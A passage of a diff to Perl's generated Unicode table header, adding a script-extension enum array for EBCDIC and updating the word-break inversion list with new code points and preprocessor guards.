+	SCX_Common,
+	SCX_Greek,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Braille,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Coptic,
+	SCX_Unknown,
+	SCX_Coptic,
+	SCX_Georgian,
+	SCX_Unknown,
+	SCX_Georgian,
+	SCX_Unknown,
+	SCX_Georgian,
+	SCX_Unknown,
+	SCX_Tifinagh,
+	SCX_Unknown,
+	SCX_Tifinagh,
+	SCX_Unknown,
+	SCX_Tifinagh,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Cyrillic,
+	SCX_Common,
+	SCX_use_AUX_TABLE_3,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_use_AUX_TABLE_30,
+	SCX_use_AUX_TABLE_31,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_use_AUX_TABLE_30,
+	SCX_Common,
+	SCX_use_AUX_TABLE_31,
+	SCX_use_AUX_TABLE_30,
+	SCX_use_AUX_TABLE_31,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_use_AUX_TABLE_32,
+	SCX_use_AUX_TABLE_21,
+	SCX_use_AUX_TABLE_31,
+	SCX_use_AUX_TABLE_33,
+	SCX_Common,
+	SCX_use_AUX_TABLE_31,
+	SCX_use_AUX_TABLE_29,
+	SCX_use_AUX_TABLE_34,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_35,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_33,
+	SCX_use_AUX_TABLE_35,
+	SCX_use_AUX_TABLE_33,
+	SCX_use_AUX_TABLE_36,
+	SCX_use_AUX_TABLE_30,
+	SCX_use_AUX_TABLE_33,
+	SCX_use_AUX_TABLE_36,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_1,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_use_AUX_TABLE_1,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_36,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Common,
+	SCX_use_AUX_TABLE_21,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_Common,
+	SCX_use_AUX_TABLE_36,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_36,
+	SCX_use_AUX_TABLE_29,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Yi,
+	SCX_Unknown,
+	SCX_Yi,
+	SCX_Unknown,
+	SCX_Lisu,
+	SCX_Vai,
+	SCX_Unknown,
+	SCX_Cyrillic,
+	SCX_use_AUX_TABLE_3,
+	SCX_Cyrillic,
+	SCX_Bamum,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Syloti_Nagri,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_37,
+	SCX_use_AUX_TABLE_38,
+	SCX_Unknown,
+	SCX_Phags_Pa,
+	SCX_Unknown,
+	SCX_Saurashtra,
+	SCX_Unknown,
+	SCX_Saurashtra,
+	SCX_Unknown,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_39,
+	SCX_Devanagari,
+	SCX_use_AUX_TABLE_40,
+	SCX_Devanagari,
+	SCX_Unknown,
+	SCX_Kayah_Li,
+	SCX_use_AUX_TABLE_41,
+	SCX_Kayah_Li,
+	SCX_Rejang,
+	SCX_Unknown,
+	SCX_Rejang,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_Javanese,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_42,
+	SCX_Javanese,
+	SCX_Unknown,
+	SCX_Javanese,
+	SCX_Myanmar,
+	SCX_Unknown,
+	SCX_Cham,
+	SCX_Unknown,
+	SCX_Cham,
+	SCX_Unknown,
+	SCX_Cham,
+	SCX_Unknown,
+	SCX_Cham,
+	SCX_Myanmar,
+	SCX_Tai_Viet,
+	SCX_Unknown,
+	SCX_Tai_Viet,
+	SCX_Meetei_Mayek,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Ethiopic,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Cherokee,
+	SCX_Meetei_Mayek,
+	SCX_Unknown,
+	SCX_Meetei_Mayek,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Latin,
+	SCX_Unknown,
+	SCX_Armenian,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Unknown,
+	SCX_Hebrew,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_9,
+	SCX_Arabic,
+	SCX_use_AUX_TABLE_9,
+	SCX_Unknown,
+	SCX_Inherited,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Inherited,
+	SCX_Cyrillic,
+	SCX_Common,
+	SCX_use_AUX_TABLE_31,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_Latin,
+	SCX_Common,
+	SCX_use_AUX_TABLE_30,
+	SCX_use_AUX_TABLE_36,
+	SCX_use_AUX_TABLE_33,
+	SCX_use_AUX_TABLE_36,
+	SCX_use_AUX_TABLE_33,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_21,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_Linear_B,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_43,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_44,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_43,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Unknown,
+	SCX_Lycian,
+	SCX_Unknown,
+	SCX_Carian,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_45,
+	SCX_Unknown,
+	SCX_Old_Italic,
+	SCX_Unknown,
+	SCX_Old_Italic,
+	SCX_Gothic,
+	SCX_Unknown,
+	SCX_Old_Permic,
+	SCX_Unknown,
+	SCX_Ugaritic,
+	SCX_Unknown,
+	SCX_Ugaritic,
+	SCX_Old_Persian,
+	SCX_Unknown,
+	SCX_Old_Persian,
+	SCX_Unknown,
+	SCX_Deseret,
+	SCX_Shavian,
+	SCX_Osmanya,
+	SCX_Unknown,
+	SCX_Osmanya,
+	SCX_Unknown,
+	SCX_Osage,
+	SCX_Unknown,
+	SCX_Osage,
+	SCX_Unknown,
+	SCX_Elbasan,
+	SCX_Unknown,
+	SCX_Caucasian_Albanian,
+	SCX_Unknown,
+	SCX_Caucasian_Albanian,
+	SCX_Unknown,
+	SCX_Linear_A,
+	SCX_Unknown,
+	SCX_Linear_A,
+	SCX_Unknown,
+	SCX_Linear_A,
+	SCX_Unknown,
+	SCX_Cypriot,
+	SCX_Unknown,
+	SCX_Cypriot,
+	SCX_Unknown,
+	SCX_Cypriot,
+	SCX_Unknown,
+	SCX_Cypriot,
+	SCX_Unknown,
+	SCX_Cypriot,
+	SCX_Unknown,
+	SCX_Cypriot,
+	SCX_Imperial_Aramaic,
+	SCX_Unknown,
+	SCX_Imperial_Aramaic,
+	SCX_Palmyrene,
+	SCX_Nabataean,
+	SCX_Unknown,
+	SCX_Nabataean,
+	SCX_Unknown,
+	SCX_Hatran,
+	SCX_Unknown,
+	SCX_Hatran,
+	SCX_Unknown,
+	SCX_Hatran,
+	SCX_Phoenician,
+	SCX_Unknown,
+	SCX_Phoenician,
+	SCX_Lydian,
+	SCX_Unknown,
+	SCX_Lydian,
+	SCX_Unknown,
+	SCX_Meroitic_Hieroglyphs,
+	SCX_Meroitic_Cursive,
+	SCX_Unknown,
+	SCX_Meroitic_Cursive,
+	SCX_Unknown,
+	SCX_Meroitic_Cursive,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Kharoshthi,
+	SCX_Unknown,
+	SCX_Old_South_Arabian,
+	SCX_Old_North_Arabian,
+	SCX_Unknown,
+	SCX_Manichaean,
+	SCX_Unknown,
+	SCX_Manichaean,
+	SCX_Unknown,
+	SCX_Avestan,
+	SCX_Unknown,
+	SCX_Avestan,
+	SCX_Inscriptional_Parthian,
+	SCX_Unknown,
+	SCX_Inscriptional_Parthian,
+	SCX_Inscriptional_Pahlavi,
+	SCX_Unknown,
+	SCX_Inscriptional_Pahlavi,
+	SCX_Psalter_Pahlavi,
+	SCX_Unknown,
+	SCX_Psalter_Pahlavi,
+	SCX_Unknown,
+	SCX_Psalter_Pahlavi,
+	SCX_Unknown,
+	SCX_Old_Turkic,
+	SCX_Unknown,
+	SCX_Old_Hungarian,
+	SCX_Unknown,
+	SCX_Old_Hungarian,
+	SCX_Unknown,
+	SCX_Old_Hungarian,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Brahmi,
+	SCX_Unknown,
+	SCX_Brahmi,
+	SCX_Unknown,
+	SCX_Brahmi,
+	SCX_Kaithi,
+	SCX_Unknown,
+	SCX_Sora_Sompeng,
+	SCX_Unknown,
+	SCX_Sora_Sompeng,
+	SCX_Unknown,
+	SCX_Chakma,
+	SCX_Unknown,
+	SCX_Chakma,
+	SCX_Unknown,
+	SCX_Mahajani,
+	SCX_Unknown,
+	SCX_Sharada,
+	SCX_Unknown,
+	SCX_Sharada,
+	SCX_Unknown,
+	SCX_Sinhala,
+	SCX_Unknown,
+	SCX_Khojki,
+	SCX_Unknown,
+	SCX_Khojki,
+	SCX_Unknown,
+	SCX_Multani,
+	SCX_Unknown,
+	SCX_Multani,
+	SCX_Unknown,
+	SCX_Multani,
+	SCX_Unknown,
+	SCX_Multani,
+	SCX_Unknown,
+	SCX_Multani,
+	SCX_Unknown,
+	SCX_Khudawadi,
+	SCX_Unknown,
+	SCX_Khudawadi,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_use_AUX_TABLE_18,
+	SCX_Grantha,
+	SCX_use_AUX_TABLE_18,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_18,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Grantha,
+	SCX_Unknown,
+	SCX_Newa,
+	SCX_Unknown,
+	SCX_Newa,
+	SCX_Unknown,
+	SCX_Newa,
+	SCX_Unknown,
+	SCX_Tirhuta,
+	SCX_Unknown,
+	SCX_Tirhuta,
+	SCX_Unknown,
+	SCX_Siddham,
+	SCX_Unknown,
+	SCX_Siddham,
+	SCX_Unknown,
+	SCX_Modi,
+	SCX_Unknown,
+	SCX_Modi,
+	SCX_Unknown,
+	SCX_Mongolian,
+	SCX_Unknown,
+	SCX_Takri,
+	SCX_Unknown,
+	SCX_Takri,
+	SCX_Unknown,
+	SCX_Ahom,
+	SCX_Unknown,
+	SCX_Ahom,
+	SCX_Unknown,
+	SCX_Ahom,
+	SCX_Unknown,
+	SCX_Warang_Citi,
+	SCX_Unknown,
+	SCX_Warang_Citi,
+	SCX_Unknown,
+	SCX_Zanabazar_Square,
+	SCX_Unknown,
+	SCX_Soyombo,
+	SCX_Unknown,
+	SCX_Soyombo,
+	SCX_Unknown,
+	SCX_Soyombo,
+	SCX_Unknown,
+	SCX_Pau_Cin_Hau,
+	SCX_Unknown,
+	SCX_Bhaiksuki,
+	SCX_Unknown,
+	SCX_Bhaiksuki,
+	SCX_Unknown,
+	SCX_Bhaiksuki,
+	SCX_Unknown,
+	SCX_Bhaiksuki,
+	SCX_Unknown,
+	SCX_Marchen,
+	SCX_Unknown,
+	SCX_Marchen,
+	SCX_Unknown,
+	SCX_Marchen,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Masaram_Gondi,
+	SCX_Unknown,
+	SCX_Cuneiform,
+	SCX_Unknown,
+	SCX_Cuneiform,
+	SCX_Unknown,
+	SCX_Cuneiform,
+	SCX_Unknown,
+	SCX_Cuneiform,
+	SCX_Unknown,
+	SCX_Egyptian_Hieroglyphs,
+	SCX_Unknown,
+	SCX_Anatolian_Hieroglyphs,
+	SCX_Unknown,
+	SCX_Bamum,
+	SCX_Unknown,
+	SCX_Mro,
+	SCX_Unknown,
+	SCX_Mro,
+	SCX_Unknown,
+	SCX_Mro,
+	SCX_Unknown,
+	SCX_Bassa_Vah,
+	SCX_Unknown,
+	SCX_Bassa_Vah,
+	SCX_Unknown,
+	SCX_Pahawh_Hmong,
+	SCX_Unknown,
+	SCX_Pahawh_Hmong,
+	SCX_Unknown,
+	SCX_Pahawh_Hmong,
+	SCX_Unknown,
+	SCX_Pahawh_Hmong,
+	SCX_Unknown,
+	SCX_Pahawh_Hmong,
+	SCX_Unknown,
+	SCX_Miao,
+	SCX_Unknown,
+	SCX_Miao,
+	SCX_Unknown,
+	SCX_Miao,
+	SCX_Unknown,
+	SCX_Tangut,
+	SCX_Nushu,
+	SCX_Unknown,
+	SCX_Tangut,
+	SCX_Unknown,
+	SCX_Tangut,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_36,
+	SCX_use_AUX_TABLE_35,
+	SCX_Unknown,
+	SCX_Nushu,
+	SCX_Unknown,
+	SCX_Duployan,
+	SCX_Unknown,
+	SCX_Duployan,
+	SCX_Unknown,
+	SCX_Duployan,
+	SCX_Unknown,
+	SCX_Duployan,
+	SCX_Unknown,
+	SCX_Duployan,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Common,
+	SCX_Inherited,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Greek,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_SignWriting,
+	SCX_Unknown,
+	SCX_SignWriting,
+	SCX_Unknown,
+	SCX_SignWriting,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Glagolitic,
+	SCX_Unknown,
+	SCX_Mende_Kikakui,
+	SCX_Unknown,
+	SCX_Mende_Kikakui,
+	SCX_Unknown,
+	SCX_Adlam,
+	SCX_Unknown,
+	SCX_Adlam,
+	SCX_Unknown,
+	SCX_Adlam,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Arabic,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_use_AUX_TABLE_35,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_use_AUX_TABLE_29,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Common,
+	SCX_Unknown,
+	SCX_Inherited,
+	SCX_Unknown
+};
+
+#   endif	/* EBCDIC 037 */
+
+#endif	/* defined(PERL_IN_REGEXEC_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
 static const UV _Perl_WB_invlist[] = { /* for ASCII/Latin1 */
-	1657,	/* Number of elements */
+	1721,	/* Number of elements */
 	148565664, /* Version and data structure type */
 	0,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
@@ -18406,17 +81533,10 @@
 	0xD8,
 	0xF7,
 	0xF8,
-	0x2C2,
-	0x2C6,
-	0x2D2,
-	0x2D7,
 	0x2D8,
-	0x2E0,
+	0x2DE,
 	0x2E5,
 	0x2EC,
-	0x2ED,
-	0x2EE,
-	0x2EF,
 	0x300,
 	0x370,
 	0x375,
@@ -18530,6 +81650,8 @@
 	0x840,
 	0x859,
 	0x85C,
+	0x860,
+	0x86B,
 	0x8A0,
 	0x8B5,
 	0x8B6,
@@ -18582,6 +81704,8 @@
 	0x9E6,
 	0x9F0,
 	0x9F2,
+	0x9FC,
+	0x9FD,
 	0xA01,
 	0xA04,
 	0xA05,
@@ -18648,6 +81772,7 @@
 	0xAF0,
 	0xAF9,
 	0xAFA,
+	0xB00,
 	0xB01,
 	0xB04,
 	0xB05,
@@ -18772,7 +81897,7 @@
 	0xCF0,
 	0xCF1,
 	0xCF3,
-	0xD01,
+	0xD00,
 	0xD04,
 	0xD05,
 	0xD0D,
@@ -19044,11 +82169,10 @@
 	0x1CF2,
 	0x1CF5,
 	0x1CF7,
-	0x1CF8,
 	0x1CFA,
 	0x1D00,
 	0x1DC0,
-	0x1DF6,
+	0x1DFA,
 	0x1DFB,
 	0x1E00,
 	0x1F16,
@@ -19154,8 +82278,16 @@
 	0x24EA,
 	0x261D,
 	0x261E,
+	0x2640,
+	0x2641,
+	0x2642,
+	0x2643,
+	0x2695,
+	0x2697,
 	0x26F9,
 	0x26FA,
+	0x2708,
+	0x2709,
 	0x270A,
 	0x270E,
 	0x2764,
@@ -19221,7 +82353,7 @@
 	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x31A0,
@@ -19253,10 +82385,6 @@
 	0xA6F0,
 	0xA6F2,
 	0xA717,
-	0xA720,
-	0xA722,
-	0xA789,
-	0xA78B,
 	0xA7AF,
 	0xA7B0,
 	0xA7B8,
@@ -19343,8 +82471,6 @@
 	0xAB28,
 	0xAB2F,
 	0xAB30,
-	0xAB5B,
-	0xAB5C,
 	0xAB66,
 	0xAB70,
 	0xABE3,
@@ -19467,7 +82593,7 @@
 	0x102E1,
 	0x10300,
 	0x10320,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
 	0x10376,
@@ -19702,6 +82828,22 @@
 	0x118EA,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A01,
+	0x11A0B,
+	0x11A33,
+	0x11A3A,
+	0x11A3B,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A51,
+	0x11A5C,
+	0x11A84,
+	0x11A86,
+	0x11A8A,
+	0x11A9A,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
@@ -19720,6 +82862,23 @@
 	0x11CA8,
 	0x11CA9,
 	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D31,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D46,
+	0x11D47,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -19760,7 +82919,7 @@
 	0x16F93,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x1B000,
 	0x1B001,
 	0x1BC00,
@@ -19954,12 +83113,30 @@
 	0x1F18A,
 	0x1F1E6,
 	0x1F200,
+	0x1F308,
+	0x1F309,
+	0x1F33E,
+	0x1F33F,
+	0x1F373,
+	0x1F374,
 	0x1F385,
 	0x1F386,
-	0x1F3C3,
+	0x1F393,
+	0x1F394,
+	0x1F3A4,
+	0x1F3A5,
+	0x1F3A8,
+	0x1F3A9,
+	0x1F3C2,
 	0x1F3C5,
+	0x1F3C7,
+	0x1F3C8,
 	0x1F3CA,
-	0x1F3CC,
+	0x1F3CD,
+	0x1F3EB,
+	0x1F3EC,
+	0x1F3ED,
+	0x1F3EE,
 	0x1F3FB,
 	0x1F400,
 	0x1F442,
@@ -19982,7 +83159,13 @@
 	0x1F48C,
 	0x1F4AA,
 	0x1F4AB,
-	0x1F575,
+	0x1F4BB,
+	0x1F4BD,
+	0x1F527,
+	0x1F528,
+	0x1F52C,
+	0x1F52D,
+	0x1F574,
 	0x1F576,
 	0x1F57A,
 	0x1F57B,
@@ -19996,6 +83179,10 @@
 	0x1F648,
 	0x1F64B,
 	0x1F650,
+	0x1F680,
+	0x1F681,
+	0x1F692,
+	0x1F693,
 	0x1F6A3,
 	0x1F6A4,
 	0x1F6B4,
@@ -20002,16 +83189,20 @@
 	0x1F6B7,
 	0x1F6C0,
 	0x1F6C1,
+	0x1F6CC,
+	0x1F6CD,
 	0x1F918,
-	0x1F91F,
+	0x1F91D,
+	0x1F91E,
+	0x1F920,
 	0x1F926,
 	0x1F927,
 	0x1F930,
-	0x1F931,
-	0x1F933,
 	0x1F93A,
-	0x1F93C,
+	0x1F93D,
 	0x1F93F,
+	0x1F9D1,
+	0x1F9DE,
 	0xE0001,
 	0xE0002,
 	0xE0020,
@@ -20020,11 +83211,13 @@
 	0xE01F0
 };
 
-#endif	/* defined(PERL_IN_PERL_C) */
+#   endif	/* ASCII/Latin1 */
 
+#endif	/* defined(PERL_IN_UTF8_C) */
+
 #if defined(PERL_IN_REGEXEC_C)
 
-#define WB_ENUM_COUNT 25
+#   if 'A' == 65 /* ASCII/Latin1 */
 
 typedef enum {
 	WB_Other = 0,
@@ -20054,6 +83247,10 @@
 	WB_UNKNOWN = 24
